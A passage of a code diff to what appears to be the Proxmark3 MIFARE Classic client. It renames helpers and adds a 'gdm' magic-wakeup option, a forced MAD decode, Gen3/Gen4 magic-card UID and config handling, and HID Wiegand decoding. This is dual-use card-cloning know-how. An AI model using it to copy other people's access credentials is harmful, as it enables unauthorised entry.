(mf_chinese_set_block(b, buf8, NULL, flags)) { PrintAndLogEx(WARNING, "Can't set magic card block: %d", b); return PM3_ESOFT; } @@ -5373,7 +6041,7 @@ static int CmdHF14AMfCLoad(const char *Cmd) { return PM3_EFILE; } - PrintAndLogEx(INFO, "Copying to magic gen1a card"); + PrintAndLogEx(INFO, "Copying to magic gen1a MIFARE Classic " _GREEN_("%s"), s); PrintAndLogEx(INFO, "." NOLF); int blockno = 0; @@ -5382,7 +6050,7 @@ static int CmdHF14AMfCLoad(const char *Cmd) { // switch on field and send magic sequence if (blockno == 0) { - flags = MAGIC_INIT + MAGIC_WUPC; + flags = MAGIC_INIT | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); } // write @@ -5395,8 +6063,9 @@ static int CmdHF14AMfCLoad(const char *Cmd) { flags = MAGIC_HALT + MAGIC_OFF; } - if (mfCSetBlock(blockno, data + (MFBLOCK_SIZE * blockno), NULL, flags)) { + if (mf_chinese_set_block(blockno, data + (MFBLOCK_SIZE * blockno), NULL, flags)) { PrintAndLogEx(WARNING, "Can't set magic card block: %d", blockno); + PrintAndLogEx(HINT, "Hint: Verify that it is a GDM and not USCUID derivative"); free(data); return PM3_ESOFT; } @@ -5420,7 +6089,11 @@ static int CmdHF14AMfCLoad(const char *Cmd) { return PM3_EFILE; } - PrintAndLogEx(SUCCESS, "Card loaded " _YELLOW_("%d") " blocks from file", block_cnt); + PrintAndLogEx(SUCCESS, + "Card loaded " _YELLOW_("%d") " blocks from %s" + , block_cnt + , (fill_from_emulator ? "emulator memory" : "file") + ); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -5437,11 +6110,13 @@ static int CmdHF14AMfCGetBlk(const char *Cmd) { arg_param_begin, arg_int1("b", "blk", "", "block number"), arg_lit0("v", "verbose", "verbose output"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); int b = arg_get_int_def(ctx, 1, 0); bool verbose = arg_get_lit(ctx, 2); + bool gdm = arg_get_lit(ctx, 3); CLIParserFree(ctx); if (b > 255) { @@ -5450,7 +6125,7 @@ static int CmdHF14AMfCGetBlk(const char *Cmd) { uint8_t blockno = (uint8_t)b; uint8_t data[16] = {0}; - int res = mfCGetBlock(blockno, data, MAGIC_SINGLE); + int res = mf_chinese_get_block(blockno, data, MAGIC_SINGLE | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC)); if (res) { PrintAndLogEx(ERR, "Can't read block. error=%d", res); return PM3_ESOFT; @@ -5479,15 +6154,17 @@ static int CmdHF14AMfCGetSc(const char *Cmd) { arg_param_begin, arg_int1("s", "sec", "", "sector number"), arg_lit0("v", "verbose", "verbose output"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); int s = arg_get_int_def(ctx, 1, 0); bool verbose = arg_get_lit(ctx, 2); + bool gdm = arg_get_lit(ctx, 3); CLIParserFree(ctx); if (s >= MIFARE_4K_MAXSECTOR) { - PrintAndLogEx(WARNING, "Sector number must be less then 40"); + PrintAndLogEx(WARNING, "Sector number must be less than 40"); return PM3_EINVARG; } @@ -5501,13 +6178,13 @@ static int CmdHF14AMfCGetSc(const char *Cmd) { start = 128 + (sector - 32) * 16; } - int flags = MAGIC_INIT + MAGIC_WUPC; + int flags = MAGIC_INIT + (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); uint8_t data[16] = {0}; for (int i = 0; i < blocks; i++) { if (i == 1) flags = 0; if (i == blocks - 1) flags = MAGIC_HALT + MAGIC_OFF; - int res = mfCGetBlock(start + i, data, flags); + int res = mf_chinese_get_block(start + i, data, flags); if (res) { PrintAndLogEx(ERR, "Can't read block. %d error=%d", start + i, res); return PM3_ESOFT; @@ -5538,6 +6215,7 @@ static int CmdHF14AMfCSave(const char *Cmd) { arg_lit0(NULL, "2k", "MIFARE Classic/Plus 2k"), arg_lit0(NULL, "4k", "MIFARE Classic 4k / S70"), arg_lit0(NULL, "emu", "to emulator memory"), + arg_lit0(NULL, "gdm", "to emulator memory"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -5551,6 +6229,7 @@ static int CmdHF14AMfCSave(const char *Cmd) { bool m2 = arg_get_lit(ctx, 4); bool m4 = arg_get_lit(ctx, 5); bool fill_emulator = arg_get_lit(ctx, 6); + bool gdm = arg_get_lit(ctx, 7); CLIParserFree(ctx); // validations @@ -5613,12 +6292,12 @@ static int CmdHF14AMfCSave(const char *Cmd) { uint16_t bytes = block_cnt * MFBLOCK_SIZE; uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } // switch on field and send magic sequence - uint8_t flags = MAGIC_INIT + MAGIC_WUPC; + uint8_t flags = MAGIC_INIT + (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); for (uint16_t i = 0; i < block_cnt; i++) { // read @@ -5630,9 +6309,9 @@ static int CmdHF14AMfCSave(const char *Cmd) { flags = MAGIC_HALT + MAGIC_OFF; } - if (mfCGetBlock(i, dump + (i * MFBLOCK_SIZE), flags)) { + if (mf_chinese_get_block(i, dump + (i * MFBLOCK_SIZE), flags)) { PrintAndLogEx(WARNING, "Can't get magic card block: %d", i); - PrintAndLogEx(HINT, "Verify your card size, and try again or try another tag position"); + PrintAndLogEx(HINT, "Hint: Verify your card size and try again or try another tag position"); free(dump); return PM3_ESOFT; } @@ -5651,7 +6330,7 @@ static int CmdHF14AMfCSave(const char *Cmd) { // Disable fast mode on last packet g_conn.block_after_ACK = false; } - if (mfEmlSetMem(dump + (i * MFBLOCK_SIZE), i, 5) != PM3_SUCCESS) { + if (mf_elm_set_mem(dump + (i * MFBLOCK_SIZE), i, 5) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "Can't set emul block: " _YELLOW_("%d"), i); } if (i % 64 == 0) { @@ -5692,6 +6371,7 @@ static int CmdHF14AMfCView(const char *Cmd) { arg_lit0(NULL, "2k", "MIFARE Classic/Plus 2k"), arg_lit0(NULL, "4k", "MIFARE Classic 4k / S70"), arg_lit0("v", "verbose", "verbose output"), + arg_lit0(NULL, "gdm", "use gdm alt (20/23) magic wakeup"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -5700,6 +6380,7 @@ static int CmdHF14AMfCView(const char *Cmd) { bool m2 = arg_get_lit(ctx, 3); bool m4 = arg_get_lit(ctx, 4); bool verbose = arg_get_lit(ctx, 5); + bool gdm = arg_get_lit(ctx, 6); CLIParserFree(ctx); // validations @@ -5761,12 +6442,12 @@ static int CmdHF14AMfCView(const char *Cmd) { uint16_t bytes = block_cnt * MFBLOCK_SIZE; uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } // switch on field and send magic sequence - uint8_t flags = MAGIC_INIT + MAGIC_WUPC; + uint8_t flags = MAGIC_INIT + (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); for (uint16_t i = 0; i < block_cnt; i++) { // read if (i == 1) { @@ -5777,9 +6458,9 @@ static int CmdHF14AMfCView(const char *Cmd) { flags = MAGIC_HALT + MAGIC_OFF; } - if (mfCGetBlock(i, dump + (i * MFBLOCK_SIZE), flags)) { + if (mf_chinese_get_block(i, dump + (i * MFBLOCK_SIZE), flags)) { PrintAndLogEx(WARNING, "Can't get magic card block: " _YELLOW_("%u"), i); - PrintAndLogEx(HINT, "Verify your card size, and try again or try another tag position"); + PrintAndLogEx(HINT, "Hint: Verify your card size and try again or try another tag position"); free(dump); return PM3_ESOFT; } @@ -5850,7 +6531,7 @@ static int CmdHf14AMfDecryptBytes(const char *Cmd) { PrintAndLogEx(INFO, "ar enc... %08X", ar_enc); PrintAndLogEx(INFO, "at enc... %08X", at_enc); - return tryDecryptWord(nt, ar_enc, at_enc, data, datalen); + return try_decrypt_word(nt, ar_enc, at_enc, data, datalen); } static int CmdHf14AMfSetMod(const char *Cmd) { @@ -5894,7 +6575,7 @@ static int CmdHf14AMfSetMod(const char *Cmd) { SendCommandNG(CMD_HF_MIFARE_SETMOD, data, sizeof(data)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_MIFARE_SETMOD, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -5922,8 +6603,9 @@ static int CmdHf14AMfNack(const char *Cmd) { bool verbose = arg_get_lit(ctx, 1); CLIParserFree(ctx); - if (verbose) + if (verbose) { PrintAndLogEx(INFO, "Started testing card for NACK bug. Press Enter to abort"); + } detect_classic_nackbug(verbose); return PM3_SUCCESS; @@ -6000,7 +6682,9 @@ static int CmdHF14AMfice(const char *Cmd) { clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFARE_ACQ_NONCES, blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags, NULL, 0); - if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) goto out; + if (WaitForResponseTimeout(CMD_ACK, &resp, 3000) == false) { + goto out; + } if (resp.oldarg[0]) goto out; uint32_t items = resp.oldarg[2]; @@ -6087,7 +6771,8 @@ static int CmdHF14AMfMAD(const char *Cmd) { arg_lit0("b", "keyb", "use key B for access printing sectors (by default: key A)"), arg_lit0(NULL, "be", "(optional, BigEndian)"), arg_lit0(NULL, "dch", "decode Card Holder information"), - arg_str0("f", "file", "", "load dump file and decode MAD"), + arg_str0("f", "file", "", "load dump file and decode MAD"), + arg_lit0(NULL, "force", "force decode (skip key check)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -6101,6 +6786,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { bool keyB = arg_get_lit(ctx, 4); bool swapmad = arg_get_lit(ctx, 5); bool decodeholder = arg_get_lit(ctx, 6); + bool force = arg_get_lit(ctx, 8); int fnlen = 0; char filename[FILE_PATH_SIZE] = {0}; @@ -6120,6 +6806,8 @@ static int CmdHF14AMfMAD(const char *Cmd) { uint16_t block_cnt = MIN(MIFARE_1K_MAXBLOCK, (bytes_read / MFBLOCK_SIZE)); if (bytes_read == MIFARE_MINI_MAX_BYTES) block_cnt = MIFARE_MINI_MAXBLOCK; + else if (bytes_read == MIFARE_1K_EV1_MAX_BYTES) + block_cnt = MIFARE_1K_EV1_MAXBLOCK; else if (bytes_read == MIFARE_2K_MAX_BYTES) block_cnt = MIFARE_2K_MAXBLOCK; else if (bytes_read == MIFARE_4K_MAX_BYTES) @@ -6130,7 +6818,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { } // MAD detection - if (HasMADKey(dump) == false) { + if ((HasMADKey(dump) == false) && (force == false)) { PrintAndLogEx(FAILED, "No MAD key was detected in the dump file"); free(dump); return PM3_ESOFT; @@ -6144,7 +6832,8 @@ static int CmdHF14AMfMAD(const char *Cmd) { if (sector > -1) { // decode it - PrintAndLogEx(INFO, ""); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "------------------------- " _CYAN_("Wiegand") " ---------------------------"); PrintAndLogEx(INFO, _CYAN_("HID PACS detected")); uint8_t pacs_sector[MFBLOCK_SIZE * 3] = {0}; @@ -6167,9 +6856,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { PrintAndLogEx(SUCCESS, "Binary... " _GREEN_("%s"), pbin); - PrintAndLogEx(INFO, "Wiegand decode"); - wiegand_message_t packed = initialize_message_object(top, mid, bot, 0); - HIDTryUnpack(&packed); + decode_wiegand(top, mid, bot, 0); } } @@ -6215,7 +6902,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { uint8_t sector10[MFBLOCK_SIZE * 4] = {0}; bool got_first = true; - if (mfReadSector(MF_MAD1_SECTOR, MF_KEY_A, (uint8_t *)g_mifare_mad_key, sector0) != PM3_SUCCESS) { + if (mf_read_sector(MF_MAD1_SECTOR, MF_KEY_A, (uint8_t *)g_mifare_mad_key, sector0) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "error, read sector 0. card doesn't have MAD or doesn't have MAD on default keys"); got_first = false; } else { @@ -6225,7 +6912,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { // User supplied key if (got_first == false && keylen == 6) { PrintAndLogEx(INFO, "Trying user specified key..."); - if (mfReadSector(MF_MAD1_SECTOR, MF_KEY_A, userkey, sector0) != PM3_SUCCESS) { + if (mf_read_sector(MF_MAD1_SECTOR, MF_KEY_A, userkey, sector0) != PM3_SUCCESS) { PrintAndLogEx(ERR, "error, read sector 0. card doesn't have MAD or the custom key is wrong"); } else { PrintAndLogEx(INFO, "Authentication ( " _GREEN_("ok") " )"); @@ -6239,7 +6926,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { } got_first = true; - if (mfReadSector(MF_MAD2_SECTOR, MF_KEY_A, (uint8_t *)g_mifare_mad_key, sector10) != PM3_SUCCESS) { + if (mf_read_sector(MF_MAD2_SECTOR, MF_KEY_A, (uint8_t *)g_mifare_mad_key, sector10) != PM3_SUCCESS) { if (verbose) { PrintAndLogEx(ERR, "error, read sector 0x10. card doesn't have MAD 2 or doesn't have MAD 2 on default keys"); } @@ -6251,7 +6938,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { // User supplied key if (got_first == false && keylen == 6) { PrintAndLogEx(INFO, "Trying user specified key..."); - if (mfReadSector(MF_MAD2_SECTOR, MF_KEY_A, userkey, sector10) != PM3_SUCCESS) { + if (mf_read_sector(MF_MAD2_SECTOR, MF_KEY_A, userkey, sector10) != PM3_SUCCESS) { if (verbose) { PrintAndLogEx(ERR, "error, read sector 10. card doesn't have MAD 2 or the custom key is wrong"); } @@ -6297,7 +6984,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { for (int i = 0; i < madlen; i++) { if (aaid == mad[i]) { uint8_t vsector[MFBLOCK_SIZE * 4] = {0}; - if (mfReadSector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { + if (mf_read_sector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(ERR, "error, read sector %d", i + 1); return PM3_ESOFT; @@ -6321,7 +7008,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { if (aaid == mad[i]) { uint8_t vsector[MFBLOCK_SIZE * 4] = {0}; - if (mfReadSector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { + if (mf_read_sector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, akey, vsector)) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(ERR, "error, read sector %d", i + 1); return PM3_ESOFT; @@ -6418,9 +7105,9 @@ int CmdHFMFNDEFRead(const char *Cmd) { PrintAndLogEx(INFO, "reading MAD v1 sector"); } - if (mfReadSector(MF_MAD1_SECTOR, MF_KEY_A, g_mifare_mad_key, sector0)) { + if (mf_read_sector(MF_MAD1_SECTOR, MF_KEY_A, g_mifare_mad_key, sector0)) { PrintAndLogEx(ERR, "error, read sector 0. card doesn't have MAD or doesn't have MAD on default keys"); - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mf ndefread -k `") " with your custom key"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mf ndefread -k `") " with your custom key"); return PM3_ESOFT; } @@ -6428,7 +7115,7 @@ int CmdHFMFNDEFRead(const char *Cmd) { PrintAndLogEx(INFO, "reading MAD v2 sector"); } - if (mfReadSector(MF_MAD2_SECTOR, MF_KEY_A, g_mifare_mad_key, sector10)) { + if (mf_read_sector(MF_MAD2_SECTOR, MF_KEY_A, g_mifare_mad_key, sector10)) { if (verbose) { PrintAndLogEx(ERR, "error, read sector 0x10. card doesn't have MAD 2 or doesn't have MAD 2 on default keys"); PrintAndLogEx(INFO, "Skipping MAD 2"); @@ -6454,7 +7141,7 @@ int CmdHFMFNDEFRead(const char *Cmd) { for (int i = 0; i < madlen; i++) { if (ndef_aid == mad[i]) { uint8_t vsector[MFBLOCK_SIZE * 4] = {0}; - if (mfReadSector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, ndefkey, vsector)) { + if (mf_read_sector(i + 1, keyB ? MF_KEY_B : MF_KEY_A, ndefkey, vsector)) { PrintAndLogEx(ERR, "error, reading sector %d ", i + 1); return PM3_ESOFT; } @@ -6496,10 +7183,10 @@ int CmdHFMFNDEFRead(const char *Cmd) { } if (verbose == false) { - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mf ndefread -v`") " for more details"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mf ndefread -v`") " for more details"); } else { if (verbose2 == false) { - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mf ndefread -vv`") " for more details"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mf ndefread -vv`") " for more details"); } } return PM3_SUCCESS; @@ -6603,7 +7290,7 @@ int CmdHFMFNDEFFormat(const char *Cmd) { uint64_t key64 = 0; // check if we can authenticate to sector - if (mfCheckKeys(0, MF_KEY_A, true, 1, (uint8_t *)g_mifare_mad_key, &key64) == PM3_SUCCESS) { + if (mf_check_keys(0, MF_KEY_A, true, 1, (uint8_t *)g_mifare_mad_key, &key64) == PM3_SUCCESS) { // if used, assume KEY A is MAD/NDEF set. memcpy(keyA[0], g_mifare_mad_key, sizeof(g_mifare_mad_key)); @@ -6628,12 +7315,10 @@ int CmdHFMFNDEFFormat(const char *Cmd) { // size_t alen = 0, blen = 0; uint8_t *tmpA, *tmpB; - if (loadFileBinaryKey(keyFilename, "", (void **)&tmpA, (void **)&tmpB, &alen, &blen) != PM3_SUCCESS) { + if (loadFileBinaryKey(keyFilename, "", (void **)&tmpA, (void **)&tmpB, &alen, &blen, true) != PM3_SUCCESS) { goto skipfile; } - PrintAndLogEx(INFO, "Using `" _YELLOW_("%s") "`", keyFilename); - for (int i = 0; i < numSectors; i++) { memcpy(keyA[i], tmpA + (i * MIFARE_KEY_SIZE), MIFARE_KEY_SIZE); memcpy(keyB[i], tmpB + (i * MIFARE_KEY_SIZE), MIFARE_KEY_SIZE); @@ -6685,9 +7370,9 @@ skipfile: } // write to card, try B key first - if (mf_write_block(keyB[i], MF_KEY_B, b, block) == 0) { + if (mf_write_block(b, MF_KEY_B, keyB[i], block) != PM3_SUCCESS) { // try A key, - if (mf_write_block(keyA[i], MF_KEY_A, b, block) == 0) { + if (mf_write_block(b, MF_KEY_A, keyA[i], block) != PM3_SUCCESS) { return PM3_EFAILED; } } @@ -6782,10 +7467,10 @@ int CmdHFMFNDEFWrite(const char *Cmd) { uint64_t key64 = 0; // check if we can authenticate to sector - int res = mfCheckKeys(0, MF_KEY_A, true, 1, (uint8_t *)g_mifare_mad_key, &key64); + int res = mf_check_keys(0, MF_KEY_A, true, 1, (uint8_t *)g_mifare_mad_key, &key64); if (res != PM3_SUCCESS) { PrintAndLogEx(FAILED, "Sector 0 failed to authenticate with MAD default key"); - PrintAndLogEx(HINT, "Verify that the tag NDEF formatted"); + PrintAndLogEx(HINT, "Hint: Verify that the tag NDEF formatted"); return res; } @@ -6857,18 +7542,18 @@ int CmdHFMFNDEFWrite(const char *Cmd) { // read MAD Sector 0, block1,2 uint8_t sector0[MFBLOCK_SIZE * 4] = {0}; - if (mfReadSector(MF_MAD1_SECTOR, MF_KEY_A, g_mifare_mad_key, sector0)) { + if (mf_read_sector(MF_MAD1_SECTOR, MF_KEY_A, g_mifare_mad_key, sector0)) { PrintAndLogEx(ERR, "error, reading sector 0. Card doesn't have MAD or doesn't have MAD on default keys"); - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mf ndefread -k `") " with your custom key"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mf ndefread -k `") " with your custom key"); return PM3_ESOFT; } // read MAD Sector 10, block1,2 uint8_t sector10[MFBLOCK_SIZE * 4] = {0}; if (m4) { - if (mfReadSector(MF_MAD2_SECTOR, MF_KEY_A, g_mifare_mad_key, sector10)) { + if (mf_read_sector(MF_MAD2_SECTOR, MF_KEY_A, g_mifare_mad_key, sector10)) { PrintAndLogEx(ERR, "error, reading sector 10. Card doesn't have MAD or doesn't have MAD on default keys"); - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf mf ndefread -k `") " with your custom key"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mf ndefread -k `") " with your custom key"); return PM3_ESOFT; } } @@ -6928,10 +7613,11 @@ int CmdHFMFNDEFWrite(const char *Cmd) { } // write to card, try B key first - if (mf_write_block(g_mifare_default_key, MF_KEY_B, block_no, block) == 0) { + if (mf_write_block(block_no, MF_KEY_B, g_mifare_default_key, block) != PM3_SUCCESS) { // try A key, - if (mf_write_block(g_mifare_ndef_key, MF_KEY_A, block_no, block) == 0) { + + if (mf_write_block(block_no, MF_KEY_A, g_mifare_ndef_key, block) != PM3_SUCCESS) { return PM3_EFAILED; } } @@ -7086,10 +7772,10 @@ static int CmdHf14AGen3UID(const char *Cmd) { uint8_t old_uid[10] = {0}; - int res = mfGen3UID(uid, uidlen, old_uid); + int res = mf_chinese_gen_3_uid(uid, uidlen, old_uid); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Can't set UID"); - PrintAndLogEx(HINT, "Are you sure your card is a Gen3 ?"); + PrintAndLogEx(HINT, "Hint: Are you sure your card is a Gen3?"); return PM3_ESOFT; } @@ -7105,7 +7791,8 @@ static int CmdHf14AGen3Block(const char *Cmd) { " - You can specify part of manufacturer block as\n" " 4/7-bytes for UID change only\n" "\n" - "NOTE: BCC, SAK, ATQA will be calculated automatically" + "NOTE: BCC and ATQA will be calculated automatically\n" + "SAK will be automatically set to default values if not specified" , "hf mf gen3blk --> print current data\n" "hf mf gen3blk -d 01020304 --> set 4 byte uid\n" @@ -7126,7 +7813,7 @@ static int CmdHf14AGen3Block(const char *Cmd) { CLIParserFree(ctx); uint8_t new_block[MFBLOCK_SIZE] = {0x00}; - int res = mfGen3Block(data, datalen, new_block); + int res = mf_chinese_gen_3_block(data, datalen, new_block); if (res) { PrintAndLogEx(ERR, "Can't change manufacturer block data. error %d", res); return PM3_ESOFT; @@ -7157,7 +7844,7 @@ static int CmdHf14AGen3Freeze(const char *Cmd) { return PM3_SUCCESS; } - int res = mfGen3Freeze(); + int res = mf_chinese_gen_3_freeze(); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Can't lock UID changes. error %d", res); } else { @@ -7555,9 +8242,9 @@ static int CmdHF14AMfWipe(const char *Cmd) { char *fptr; if (keyfnlen == 0) { fptr = GenerateFilename("hf-mf-", "-key.bin"); - if (fptr == NULL) + if (fptr == NULL) { return PM3_ESOFT; - + } strncpy(keyFilename, fptr, sizeof(keyFilename) - 1); free(fptr); } @@ -7585,7 +8272,7 @@ static int CmdHF14AMfWipe(const char *Cmd) { } case (MIFARE_1K_EV1_MAX_KEY_SIZE): { PrintAndLogEx(INFO, "Loaded keys matching MIFARE Classic 1K Ev1"); - memcpy(keyA, keys, MIFARE_1K_EV1_MAXSECTOR * MIFARE_KEY_SIZE); + memcpy(keyA, keys, (MIFARE_1K_EV1_MAXSECTOR * MIFARE_KEY_SIZE)); memcpy(keyB, keys + (MIFARE_1K_EV1_MAXSECTOR * MIFARE_KEY_SIZE), (MIFARE_1K_EV1_MAXSECTOR * MIFARE_KEY_SIZE)); num_sectors = NumOfSectors('1'); memcpy(mf, "\x11\x22\x33\x44\x44\x08\x04\x00\x62\x63\x64\x65\x66\x67\x68\x69", MFBLOCK_SIZE); @@ -7676,7 +8363,7 @@ static int CmdHF14AMfWipe(const char *Cmd) { PrintAndLogEx(NORMAL, "- key %c ( " _RED_("fail") " )", (kt == MF_KEY_A) ? 'A' : 'B'); } } else { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); } } } @@ -7723,6 +8410,8 @@ static int CmdHF14AMfView(const char *Cmd) { uint16_t block_cnt = MIN(MIFARE_1K_MAXBLOCK, (bytes_read / MFBLOCK_SIZE)); if (bytes_read == MIFARE_MINI_MAX_BYTES) block_cnt = MIFARE_MINI_MAXBLOCK; + else if (bytes_read == MIFARE_1K_EV1_MAX_BYTES) + block_cnt = MIFARE_1K_EV1_MAXBLOCK; else if (bytes_read == MIFARE_2K_MAX_BYTES) block_cnt = MIFARE_2K_MAXBLOCK; else if (bytes_read == MIFARE_4K_MAX_BYTES) @@ -7766,6 +8455,7 @@ static int CmdHF14AMfView(const char *Cmd) { UDATA d; d.bytes = calloc(bytes_read, sizeof(uint8_t)); if (d.bytes == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } uint16_t dlen = 0; @@ -7863,14 +8553,27 @@ static int parse_gtu_cfg(uint8_t *d, size_t n) { break; } - PrintAndLogEx(INFO, "..............%02X unknown", d[7]); + uint8_t atslen = d[7]; + if (atslen == 0) { + PrintAndLogEx(INFO, "..............%02X ATS length %u bytes ( %s )", d[7], atslen, _YELLOW_("zero")); + } else if (atslen <= 16) { + PrintAndLogEx(INFO, "..............%02X ATS length %u bytes ( %s )", d[7], atslen, _GREEN_("ok")); + } else { + PrintAndLogEx(INFO, "..............%02X ATS length %u bytes ( %s )", d[7], atslen, _RED_("fail")); + atslen = 0; + } + PrintAndLogEx(INFO, ""); // ATS seems to have 16 bytes reserved PrintAndLogEx(INFO, _CYAN_("Config 2 - ATS")); PrintAndLogEx(INFO, "%s", sprint_hex_inrow(d + 8, 16)); - PrintAndLogEx(INFO, "%s.............. ATS ( %d bytes )", sprint_hex_inrow(&d[8], d[7]), d[7]); - PrintAndLogEx(INFO, "..................%s Reserved for ATS", sprint_hex_inrow(d + 8 + d[7], 16 - d[7])); + if ((atslen > 0) && (atslen <= 16)) { + PrintAndLogEx(INFO, "%s.............. ATS ( %d bytes )", sprint_hex_inrow(&d[8], d[7]), d[7]); + PrintAndLogEx(INFO, "..................%s Reserved for ATS", sprint_hex_inrow(d + 8 + d[7], 16 - d[7])); + } else { + PrintAndLogEx(INFO, "%s.............. %u Reserved for ATS", sprint_hex_inrow(&d[8], 16), 16); + } PrintAndLogEx(INFO, ""); PrintAndLogEx(INFO, _CYAN_("Config 3 - Limits")); @@ -7954,21 +8657,32 @@ static int CmdHF14AGen4Info(const char *cmd) { size_t resplen = 0; int res = 0; - if (dlen != 32) { - res = mfG4GetConfig(pwd, resp, &resplen, verbose); - if (res != PM3_SUCCESS || resplen == 0) { - if (res == PM3_ETIMEOUT) - PrintAndLogEx(ERR, "No card in the field or card command timeout."); - else - PrintAndLogEx(ERR, "Error get config. Maybe not a Gen4 card?. error=%d rlen=%zu", res, resplen); + if (dlen == 0) { + if (IfPm3Iso14443a()) { + res = mfG4GetConfig(pwd, resp, &resplen, verbose); + if (res != PM3_SUCCESS || resplen == 0) { + if (res == PM3_ETIMEOUT) + PrintAndLogEx(ERR, "No card in the field or card command timeout."); + else + PrintAndLogEx(ERR, "Error get config. Maybe not a Gen4 card?. error=%d rlen=%zu", res, resplen); + return PM3_ESOFT; + } + } else { + PrintAndLogEx(ERR, "Offline mode, please provide data"); return PM3_ESOFT; } + } else if (dlen != 32) { + PrintAndLogEx(FAILED, "Data must be 32 bytes length, got " _YELLOW_("%u"), dlen); + return PM3_EINVARG; } else { memcpy(resp, data, dlen); resplen = 32; } parse_gtu_cfg(resp, resplen); + if (! IfPm3Iso14443a()) { + return PM3_SUCCESS; + } uint8_t uid_len = resp[1]; @@ -8099,13 +8813,14 @@ static int CmdHF14AGen4Load(const char *cmd) { arg_param_begin, arg_lit0(NULL, "mini", "MIFARE Classic Mini / S20"), arg_lit0(NULL, "1k", "MIFARE Classic 1k / S50 (def)"), + arg_lit0(NULL, "1k+", "MIFARE Classic Ev1 1k / S50"), arg_lit0(NULL, "2k", "MIFARE Classic/Plus 2k"), arg_lit0(NULL, "4k", "MIFARE Classic 4k / S70"), arg_str0("p", "pwd", "", "password 4bytes"), arg_lit0("v", "verbose", "verbose output"), arg_str0("f", "file", "", "Specify a filename for dump file"), arg_lit0(NULL, "emu", "from emulator memory"), - arg_int0(NULL, "start", "", "index of block to start writing (default 0)"), + arg_int0(NULL, "start", "", "index of block to start writing (def 0)"), arg_int0(NULL, "end", "", "index of block to end writing (default last block)"), arg_param_end }; @@ -8113,23 +8828,24 @@ static int CmdHF14AGen4Load(const char *cmd) { CLIExecWithReturn(ctx, cmd, argtable, false); bool m0 = arg_get_lit(ctx, 1); bool m1 = arg_get_lit(ctx, 2); - bool m2 = arg_get_lit(ctx, 3); - bool m4 = arg_get_lit(ctx, 4); + bool m1ev1 = arg_get_lit(ctx, 3); + bool m2 = arg_get_lit(ctx, 4); + bool m4 = arg_get_lit(ctx, 5); int pwd_len = 0; uint8_t pwd[4] = {0}; - CLIGetHexWithReturn(ctx, 5, pwd, &pwd_len); + CLIGetHexWithReturn(ctx, 6, pwd, &pwd_len); - bool verbose = arg_get_lit(ctx, 6); + bool verbose = arg_get_lit(ctx, 7); int fnlen = 0; char filename[FILE_PATH_SIZE] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 7), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + CLIParamStrToBuf(arg_get_str(ctx, 8), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); - bool fill_from_emulator = arg_get_lit(ctx, 8); + bool fill_from_emulator = arg_get_lit(ctx, 9); - int start = arg_get_int_def(ctx, 9, 0); - int end = 